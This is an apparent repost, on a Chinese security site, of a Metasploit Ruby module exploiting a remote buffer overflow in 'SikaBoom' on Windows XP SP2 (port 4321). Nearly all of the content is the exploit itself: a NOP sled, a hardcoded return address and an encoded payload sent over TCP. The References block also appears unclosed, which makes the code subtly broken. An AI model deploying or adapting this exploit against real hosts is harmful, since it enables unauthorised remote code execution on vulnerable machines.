首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SikaBoom - Remote Buffer Overflow
来源:metasploit.com 作者:Asesino04 发布时间:2013-10-21  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
   
require 'msf/core'
   
class Metasploit3 < Msf::Exploit::Remote
   
      include Msf::Exploit::Remote::Tcp
   
      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'SikaBoom Remote Buffer overflow',
                        'Description'    => %q{
                                        This module exploits a buffer overflow in SikaBoom .
                                             },
                        'Module'         => [ 'Asesino04' ],
      'References'     =>
        [
          [ 'Bug', 'http://1337day.com/exploit/16672' ],
   
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 268,
                                        'BadChars' => "\x00\xff",
                                },
                        'Platform'       => 'win',
   
                        'Targets'        =>
                                [
                                        ['Windows XP SP2 En',
                                          { 'Ret' => 0x5D38827C, 'Offset' => 268 } ],
                                ],
                        'DefaultTarget' => 0,
   
                        'Privileged'     => false
                        ))
   
                        register_options(
                        [
                                Opt::RPORT(4321)
                        ], self.class)
       end
   
       def exploit
          connect
   
          junk = make_nops(target['Offset'])
          sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
          sock.put(sploit)
   
          handler
          disconnect
   
       end
   
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Level One Enterprise Access Po
·ARRIS DG860A NVRAM Backup Comp
·Persistent Payload In Windows
·PHP Point Of Sale 10.x / 11.x
·Aladdin Knowledge Systems Ltd.
·WebTester 5.x Command Executio
·PDFCool Studio Buffer Overflow
·FiberHome Modem Router HG-110
·Zabbix 2.0.8 SQL Injection / R
·HP Intelligent Management Cent
·HP Data Protector Cell Request
·Interactive Graphical SCADA Sy
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved